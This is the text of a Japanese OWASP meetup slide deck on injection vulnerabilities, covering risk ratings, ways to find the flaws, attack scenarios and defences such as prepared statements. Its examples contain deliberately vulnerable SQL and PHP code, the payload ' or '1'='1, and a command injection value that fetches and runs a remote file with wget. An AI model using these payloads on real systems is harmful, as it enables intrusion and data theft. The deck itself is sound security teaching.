owasp_evening_okinawa_7_owasp_top_10-2017_injection

owasp_evening_okinawa_7_owasp_top_10-2017_injection
OWASP Top 10 を学ぼう！ (A1:2017-インジェクション) OWASP Evening OKINAWA #7 桃原裕太
自己紹介桃原裕太株式会社シーエー・アドバンス技術統括本部 Webアプリケーション脆弱性診断に携わって約5年月一でセキュリティもくもく勉強会を開催 2
目次はじめに OWASP について OWASP Top 10 について 2013年版から2017年版への変更点アプリケーションセキュリティリスク A1:2017 - インジェクションおわりに 3
はじめに 4
はじめに ※注意※ ここで得た知識を悪用しないようにしてください 5
はじめにスライドが90枚くらいあります！一枚一枚はそんなに長くないはず 6
はじめに 2017年12月に OWASP Top 10 の日本語版が公開されましたね！ 7
はじめに 少しずつですが、沖縄でも学んでいきたいと思います。（全10回） 8
はじめに 2018/03 A1:2017-インジェクション 2018/06 A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 9
はじめに 2018/03 A1:2017-インジェクション（今回はコチラ！） 2018/06 A2:2017-認証の不備 2018/09 A3:2017-機微な情報の露出 2018/12 A4:2017-XML 外部エンティティ参照(XXE) 2019/03 A5:2017-アクセス制御の不備 2019/06 A6:2017-不適切なセキュリティ設定 2019/09 A7:2017-クロスサイトスクリプティング(XSS) 2019/12 A8:2017-安全でないデシリアライゼーション 2020/03 A9:2017-既知の脆弱性のあるコンポーネントの使用 2020/06 A10:2017-不十分なロギングとモニタリング 10
はじめに  次回以降は登壇者をローテーションしたいので、我こそは！という方は、個別にでもいいのでご連絡いただけるとありがたいです。 11
OWASP について 12
OWASP について  OWASP とは、Open Web Application Security Project の略称です。  Webをはじめとするセキュリティ環境の現状、またセキュアなソフトウェア開発を促進する技術・プロセスに関する情報共有と普及啓発を目的としたプロフェッショナルの集まる、オープンソース・ソフトウェアコミュニティです。  OWASP Okinawaは日本で6番目に発足したローカルチャプターです。 13
OWASP について  OWASP は様々なプロジェクトがあり、その成果物があります。  OWASP Top 10 - 2017  OWASP Mobile Top 10 - 2016  OWASP Proactive Controls  OWASP Application Security Verification Standard  OWASP Wordpress Security Implementation Guideline 14
OWASP Top 10 - 2017 について 15
OWASP Top 10 - 2017 について  アプリケーションセキュリティのデファクト・スタンダード  前回作成したものが OWASP Top 10 - 2013  アプリケーションセキュリティを始める人や組織が良いスタートをきれるように作成しています 16
OWASP Top 10 - 2017 について  大規模な組織や、セキュリティの取り組みにおいて高いレベルの組織において、厳密な標準が求められているような場合には OWASP Application Security Verification Standard (ASVS) を使うように勧めているようです 17
OWASP Top 10 - 2017 について  OWASP Top10の主要な目的は、開発者、デザイナー、アーキテクト、マネージャ、組織に、最も一般的かつ最も重要なWebアプリケーションセキュリティの弱点の影響について教育することです。  リスクの高い問題のある領域を守るための基本的なテクニックを提供し、現時点からどこへ進めるべきなかについてのガイダンスを提供します。 18
2013年版から 2017年版への変更点 19
2013年版から2017年版への変更点  ここ数年でアプリケーションの基本的な技術とアーキテクチャは大きな変化を遂げました。 マイクロサービス RESTful Web シングルページアプリケーション 従来サーバー側で処理されてきた機能がクライアント側に移る 20
2013年版から2017年版への変更点  ここ数年でアプリケーションの基本的な技術とアーキテクチャは大きな変化を遂げました。 node.js 等、JavaScript が Web の主要言語に モダンな Web フレームワークの登場 Bootstrap, Electron, Angular, React 21
2013年版から2017年版への変更点（追加された項目） 22
2013年版から2017年版への変更点（統合された項目） 23
2013年版から2017年版への変更点（削除された項目） 24
2013年版から2017年版への変更点（削除された項目） ※補足  クロスサイトリクエストフォージェリ（CSRF）  多くのフレームワークがこの対策を講じており、アプリケーションの5%程度でのみ観察されている  未検証のリダイレクトと転送  アプリケーションのおよそ8%で観察されており、XXEが入ったことによりTop10から外れた 25
2013年版から2017年版への変更点（削除された項目） ※補足  クロスサイトリクエストフォージェリ（CSRF）  多くのフレームワークがこの対策を講じており、アプリケーションの5%程度でのみ観察されている  未検証のリダイレクトと転送  アプリケーションのおよそ8%で観察されており、XXEが入ったことによりTop10から外れた ※一定数存在するので、無視していいわけではないです 26
アプリケーションセキュリティリスクについて 27
アプリケーションセキュリティリスクについて 攻撃者はアプリケーションを介して様々な経路で、ビジネスや組織に被害を及ぼします。 28
それぞれの経路は、注意を喚起すべき深刻なリスクやそれほど深刻ではないリスクを表しています。 29 アプリケーションセキュリティリスクについて
 これらの経路の中には、検出や悪用がしやすいものもあれば、しにくいものもあります。  同様に、引き起こされる被害についても、ビジネスに影響がないこともあれば、破産にまで追い込まれることもあります。 30 アプリケーションセキュリティリスクについて
アプリケーションセキュリティリスクについて  組織におけるリスクを判断するためにまず、以下の項目に関してそれぞれの可能性を評価します。 「脅威エージェント」 「攻撃手法」 「セキュリティ上の弱点」 31 アプリケーションセキュリティリスクについて
 アプリケーションセキュリティリスクについて  その次に、組織に対する影響を考慮してみてください。 「技術面への影響」 「ビジネス面への影響」 32 アプリケーションセキュリティリスクについて
 アプリケーションセキュリティリスクについて  最後に、これら全てのファクターに基づき、リスクの全体像を決定します。 33 アプリケーションセキュリティリスクについて
次からインジェクションのお話なのですが 34 ここまでで何か質問等ありますか？
A1:2017 -インジェクション 35
A1:2017-インジェクションここから本題です！ 36
A1:2017-インジェクションその前に、インジェクション知ってる方ってどのくらいいますか…？ 37
A1:2017-インジェクション インジェクションについてざっくり解説 コマンドやクエリの一部として信頼されないデータが送信される場合に発生 攻撃コードがインタープリタを騙すことで、様々な問題が… 意図しないコマンドの実行 機密情報の漏えい 権限を有していないデータへのアクセス、等 38
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 39
A1:2017-インジェクション 関連する脆弱性の例 SQLインジェクション NoSQLインジェクション OSコマンドインジェクション LDAPインジェクション 40
A1:2017-インジェクション～インジェクションとなっている脆弱性が今回のテーマです 41
A1:2017-インジェクションなにが問題なの？ 42
A1:2017-インジェクション機密情報が漏洩した場合… 43
A1:2017-インジェクション 損害賠償に発展する事例も  ［参考］https://blog.tokumaru.org/2015/01/sql.html 44
A1:2017-インジェクション次はインジェクションのリスクについて確認していきましょう 45
A1:2017-インジェクション リスクについて 46
A1:2017-インジェクション インジェクションのリスクについて 47
A1:2017-インジェクション インジェクションのリスクについて 48 それぞれの項目について確認していきます
A1:2017-インジェクション 悪用のしやすさ（３段階評価） 容易：３ ほとんどのデータソースがインジェクションの経路となりえます。 環境変数 パラメータ 外部及び内部のWebサービス あらゆる種類のユーザ 攻撃者が送った悪意のあるデータがインタープリタ上で動作する場合にインジェクションは発生します。 50
A1:2017-インジェクション 弱点の蔓延度（３段階評価） よく見られる：２ 特にレガシーコードで一般的です インジェクション脆弱性は、下記でよく見られます。 SQL LDAP Xpath NoSQLクエリ OSコマンド XMLパーサー SMTPヘッダー 式言語 ORMクエリ 52
A1:2017-インジェクション 検出のしやすさ（３段階評価） 容易：３ インジェクション欠陥は、コードを調べると簡単に発見できます。 インジェクション欠陥を見つけるのに役立つ手法があります スキャナ（ソースコードの静的チェック） ファジング（動的解析） 54
A1:2017-インジェクション 技術面（３段階評価） 深刻：３ 様々な問題が起きます データの損失 破壊 情報漏洩 アカウンタビリティの喪失 アクセス拒否 ホストの完全な乗っ取り 56
A1:2017-インジェクション 脅威エージェントとビジネス面の影響 リスクを理解するためには「脅威エージェント」と「ビジネス面への影響」を考慮しないといけません。 ソフトウェアに甚大な弱点があったとしても、攻撃をする「脅威エージェント」がいない、或いは関連資産への「ビジネス面への影響」が極めて少ない場合、重大なリスクにはなりません。 58
A1:2017-インジェクション ビジネスへの影響は、アプリケーションとデータの重要性に依存します。例えば、 個人情報の漏えい 重要性が高い クライアント情報の漏えい 重要性が高い ECサイトで販売している商品情報の漏えい（公開されている情報） 重要性が低い 59
A1:2017-インジェクション次はインジェクションの見つけ方について確認していきましょう 60
A1:2017-インジェクション 脆弱性発見のポイント(1/5) ユーザが提供したデータをそのまま信頼している場合はインジェクションが発生しやすいです 検証していない フィルタリングしていない サニタイズされない コンテキストに応じたエスケープが行われず、動的クエリまたはパラメータ化されていない呼出しがインタープリタに直接使用される SQLに使われるデータがエスケープされてない等 61
A1:2017-インジェクション 脆弱性発見のポイント(2/5) 次のような状況では、アプリケーションはこの攻撃に対して脆弱です オブジェクト・リレーショナル・マッピング（ORM）の検索パラメータに悪意を持ったデータが使用され、重要なレコードを追加で抽出してしまう。  悪意を持ったデータを直接または連結して使う。例えば、動的クエリ、コマンド、ストアド・プロシージャにおいて構文に悪意を持ったデータを組み合わせる形でSQLやコマンドが組み立てられる。 62
A1:2017-インジェクション  脆弱性発見のポイント(3/5) 一般的なインジェクションとしては、下記があります。 SQL NoSQL OSコマンド オブジェクト・リレーショナル・マッピング（ORM） LDAP EL式（Expression Language） OGNL式（Object GraphNavigation Library） コンセプトはすべてのインタープリタで同じです。 63
A1:2017-インジェクション  脆弱性発見のポイント(4/5) ソースコードをレビューすることが最も効果的に検出できます すべての入力値の完全な自動テストも効果的です パラメータ ヘッダー URL Cookie JSON SOAP XML 64
A1:2017-インジェクション 脆弱性発見のポイント(5/5) 下記のようなツールをCI/CDパイプライン（ビルド～テスト～リリースの自動化ツール）に導入します 静的ソースコード解析ツール (SAST) Java/PHP/Ruby 等、言語毎にツールが存在 動的アプリケーションテストツール (DAST) 実際にHTTPリクエストを送信してテスト 自動化することで新たに作られてしまったインジェクション欠陥をリリース前に検出できます 65
A1:2017-インジェクション次はインジェクションの攻撃例について確認していきましょう 66
A1:2017-インジェクション 攻撃シナリオの例（#1） あるアプリケーションは信頼できないデータを用いることで以下のような脆弱なSQL呼び出しを作ってしまいます Javaの例をあげます 67
A1:2017-インジェクション 攻撃シナリオの例（#1）  http://example.com/app/accountView?id=1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 68
A1:2017-インジェクション 攻撃シナリオの例（#1）  http://example.com/app/accountView?id=' or '1'='1 String query = "SELECT * FROM accounts " + " WHERE custID='" + request.getParameter("id") + "'"; // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 69
A1:2017-インジェクション 攻撃シナリオの例（#2） あるアプリケーションは信頼できないデータを用いることで以下のような脆弱なSQL呼び出しを作ってしまいます JavaのORMツール（Hybernate）の例をあげます 70
A1:2017-インジェクション 攻撃シナリオの例（#2）  http://example.com/app/accountView?id=1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='1' /* アカウントIDが1のデータを取得 */ 71
A1:2017-インジェクション 攻撃シナリオの例（#2）  http://example.com/app/accountView?id=' or '1'='1 Query HQLQuery = session.createQuery( "FROM accounts " + "WHERE custID='" + request.getParameter("id") + "'"); // SELECT * FROM accounts // WHERE custID='' or '1'='1' /* アカウントのデータを全件取得 */ 72
A1:2017-インジェクション 攻撃シナリオの例（#3） あるアプリケーションは信頼できないデータを用いることで以下のような脆弱なOSコマンドの呼び出しを作ってしまいます PHPの例をあげます 73
A1:2017-インジェクション 攻撃シナリオの例（#3）  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 74
A1:2017-インジェクション 攻撃シナリオの例（#3）  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 75
A1:2017-インジェクション 攻撃シナリオの例（#3）  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); 76
A1:2017-インジェクション 攻撃シナリオの例（#3）  http://example.com/order/summary <?php // 受注情報の集計バッチを動かす require 'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm”]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10; 77
A1:2017-インジェクション 攻撃シナリオの例（#3）  なぜsleepコマンド？ yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる yyyymm=201701;sleep 10; の場合 ※レスポンスが返ってくるまでに11秒かかる 78
A1:2017-インジェクション 攻撃シナリオの例（#3）  不正なファイルのDLと実行 ;wget http://example.com/evil.txt -O evil.php;php evil.php;  ツールの取得（yum, apt-get）  ファイル削除 (rm)  OSシャットダウン（shutdown）  その他いろいろ 79
A1:2017-インジェクション次はインジェクションの防止方法について確認していきましょう 80
A1:2017-インジェクション 防止方法 コマンドとクエリからデータを常に分けるようにします インタープリタの使用を完全に避けるようにします パラメータ化されたインターフェースを利用するようにします ORMを使用するように移行するようにします 81
A1:2017-インジェクション 防止方法 注意）パラメータ化されていたとしても、ストアドプロシージャでは、 SQLインジェクションを発生する可能性があります 例）PL/SQLまたはT-SQLによってクエリとデータを連結 例）EXECUTE IMMEDIATEやexec()を利用して悪意のあるデータを実行する 例にあるような書き方は避けるようにしましょう 82
A1:2017-インジェクション 防止方法 「ホワイトリスト」によるサーバサイドの入力検証を用いるようにします フォームのラジオボタンやセレクトボックスはホワイトリストでの入力値チェックがしやすいと思います フォームのテキストエリア等はホワイトリストでのチェックは難しそう… 83
A1:2017-インジェクション 防止方法 これまでの対応が困難な動的クエリでは、そのインタープリタ固有のエスケープ構文を使用して特殊文字をエスケープするようにします 注意点）テーブル名やカラム名などのSQLストラクチャに対してはエスケープができないため、ユーザ指定のストラクチャ名は危険です。レポート作成ソフトウェア等で見かけられる問題のようです。 84
A1:2017-インジェクション 防止方法 実行するSQLのクエリ内で LIMIT 句やその他のSQL制御を常に使用するようにします 緩和策だと思いますが SQL インジェクション攻撃が発生した場合のレコードの大量漏洩を防ぐことができるかもしれません 85
A1:2017-インジェクション 攻撃シナリオの例（#1） ※対策版  http://example.com/app/accountView?id=' or '1'='1 PreparedStatement prep = conn.prepareStatement( "SELECT * FROM accounts WHERE custID=?" ); prep.setString(1, request.getParameter("id")); // SELECT * FROM accounts // WHERE custID=''' or ''1''=''1' /* custIDが「' or '1'='1」のアカウントデータを取得 */ 86
おわりに  まとめ インジェクションについて OWASP Top 10 - 2017 をベースにお話しました 例えばOSコマンドインジェクションが発生した場合はビジネスに致命的な影響を及ぼす可能性があります 不正なファイルの実行、データ漏えい、サーバーダウン等 今回学んだ、脆弱性発見のポイント、攻撃例、防止方法をもとにインジェクションのない安全なWebアプリケーションを開発できるように頑張ってください 87
おわりに  参考サイト、参考資料  https://www.owasp.org/images/2/23/OWASP_Top_10- 2017%28ja%29.pdf  https://www.owasp.org/images/7/72/OWASP_Top_10- 2017_%28en%29.pdf.pdf  https://blog.tokumaru.org/2015/01/sql.html  https://www.ipa.go.jp/files/000017320.pdf 88
おわりに 89 何か質問等ありますか？
おわりに  次回、登壇したい方がいれば個別でもいいですので教えてください…！ ※30分くらいで考えています 90
ご清聴ありがとうございました！ 91

owasp_evening_okinawa_7_owasp_top_10-2017_injection

owasp_evening_okinawa_7_owasp_top_10-2017_injection

Recommended

More Related Content

Slideshows for you

Slideshows for you(20)

Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection

Similar to owasp_evening_okinawa_7_owasp_top_10-2017_injection(20)

Recently uploaded

Recently uploaded(20)

owasp_evening_okinawa_7_owasp_top_10-2017_injection